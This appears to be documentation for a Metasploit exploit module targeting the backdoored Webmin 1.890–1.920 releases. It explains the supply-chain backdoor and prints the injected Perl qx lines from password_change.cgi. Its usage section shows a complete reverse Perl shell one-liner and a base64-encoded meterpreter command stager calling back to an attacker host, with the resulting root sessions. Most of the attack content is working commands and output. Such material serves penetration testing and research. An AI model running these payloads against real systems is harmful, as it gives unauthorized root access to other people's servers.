2019-09-30 16:58:00 -05:00
|
|
|
## Introduction
|
2019-08-21 16:56:23 -05:00
|
|
|
|
|
|
|
|
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
|
|
|
|
|
Only the SourceForge downloads were backdoored, but they are listed as
|
|
|
|
|
official downloads on the project's site.
|
|
|
|
|
|
|
|
|
|
Unknown attacker(s) inserted Perl `qx` statements into the build server's
|
|
|
|
|
source code on two separate occasions: once in April 2018, introducing
|
|
|
|
|
the backdoor in the 1.890 release, and in July 2018, reintroducing the
|
|
|
|
|
backdoor in releases 1.900 through 1.920.
|
|
|
|
|
|
|
|
|
|
Only version 1.890 is exploitable in the default install. Later affected
|
|
|
|
|
versions require the expired password changing feature to be enabled.
|
|
|
|
|
|
2019-08-21 17:05:40 -05:00
|
|
|
## Analysis
|
|
|
|
|
|
|
|
|
|
The backdoored code can compared across space and time with `diff3(1)`.
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
|
|
|
|
|
====2
|
|
|
|
|
1:1c
|
|
|
|
|
3:1c
|
|
|
|
|
#!/usr/bin/perl
|
|
|
|
|
2:1c
|
|
|
|
|
#!/usr/local/bin/perl
|
|
|
|
|
====1
|
|
|
|
|
1:12c
|
|
|
|
|
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
|
|
|
|
|
2:12c
|
|
|
|
|
3:12c
|
|
|
|
|
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
|
|
|
|
|
====3
|
|
|
|
|
1:40c
|
|
|
|
|
2:40c
|
|
|
|
|
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
|
|
|
|
|
3:40c
|
|
|
|
|
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
|
|
|
|
|
====3
|
|
|
|
|
1:200c
|
|
|
|
|
2:200c
|
|
|
|
|
# Show ok page
|
|
|
|
|
3:200c
|
|
|
|
|
|
|
|
|
|
wvu@kharak:~/Downloads$
|
|
|
|
|
```
|
|
|
|
|
|
2019-08-21 16:56:23 -05:00
|
|
|
## Setup
|
|
|
|
|
|
|
|
|
|
1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz`
|
|
|
|
|
2. `tar xf webmin-1.890.tar.gz`
|
|
|
|
|
3. `cd webmin-1.890`
|
|
|
|
|
4. `./setup.sh`
|
|
|
|
|
|
|
|
|
|
## Targets
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
0 Automatic (Unix In-Memory)
|
|
|
|
|
1 Automatic (Linux Dropper)
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**RPORT**
|
|
|
|
|
|
|
|
|
|
Set this to the Webmin port. The default is 10000.
|
|
|
|
|
|
|
|
|
|
**TARGETURI**
|
|
|
|
|
|
|
|
|
|
Set this to the Webmin base path. The default is `/`.
|
|
|
|
|
|
|
|
|
|
**ForceExploit**
|
|
|
|
|
|
|
|
|
|
Set this to `true` to override the `check` result during exploitation.
|
|
|
|
|
|
|
|
|
|
## Usage
|
|
|
|
|
|
|
|
|
|
```
|
2025-07-17 11:51:29 +01:00
|
|
|
msf exploit(linux/http/webmin_backdoor) > run
|
2019-08-21 16:56:23 -05:00
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.28.128.1:4444
|
|
|
|
|
[*] Webmin 1.890 detected
|
|
|
|
|
[+] Webmin 1.890 is a supported target
|
|
|
|
|
[+] Webmin executed a benign check command
|
|
|
|
|
[*] Configuring Automatic (Unix In-Memory) target
|
|
|
|
|
[*] Sending cmd/unix/reverse_perl command payload
|
|
|
|
|
[*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
|
|
|
|
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500
|
|
|
|
|
|
|
|
|
|
id
|
|
|
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
|
|
|
uname -a
|
|
|
|
|
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
|
|
|
|
^Z
|
|
|
|
|
Background session 1? [y/N] y
|
2025-07-17 11:51:29 +01:00
|
|
|
msf exploit(linux/http/webmin_backdoor) > set target 1
|
2019-08-21 16:56:23 -05:00
|
|
|
target => 1
|
2025-07-17 11:51:29 +01:00
|
|
|
msf exploit(linux/http/webmin_backdoor) > run
|
2019-08-21 16:56:23 -05:00
|
|
|
|
|
|
|
|
[*] Started reverse TCP handler on 172.28.128.1:4444
|
|
|
|
|
[*] Webmin 1.890 detected
|
|
|
|
|
[+] Webmin 1.890 is a supported target
|
|
|
|
|
[+] Webmin executed a benign check command
|
|
|
|
|
[*] Configuring Automatic (Linux Dropper) target
|
|
|
|
|
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
|
|
|
|
|
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"]
|
|
|
|
|
[*] Transmitting intermediate stager...(126 bytes)
|
|
|
|
|
[*] Sending stage (3021284 bytes) to 172.28.128.5
|
|
|
|
|
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500
|
|
|
|
|
[*] Command Stager progress - 100.00% done (819/819 bytes)
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 10.0.2.15
|
|
|
|
|
OS : Ubuntu 16.04 (Linux 4.4.0-141-generic)
|
|
|
|
|
Architecture : x64
|
|
|
|
|
BuildTuple : x86_64-linux-musl
|
|
|
|
|
Meterpreter : x64/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|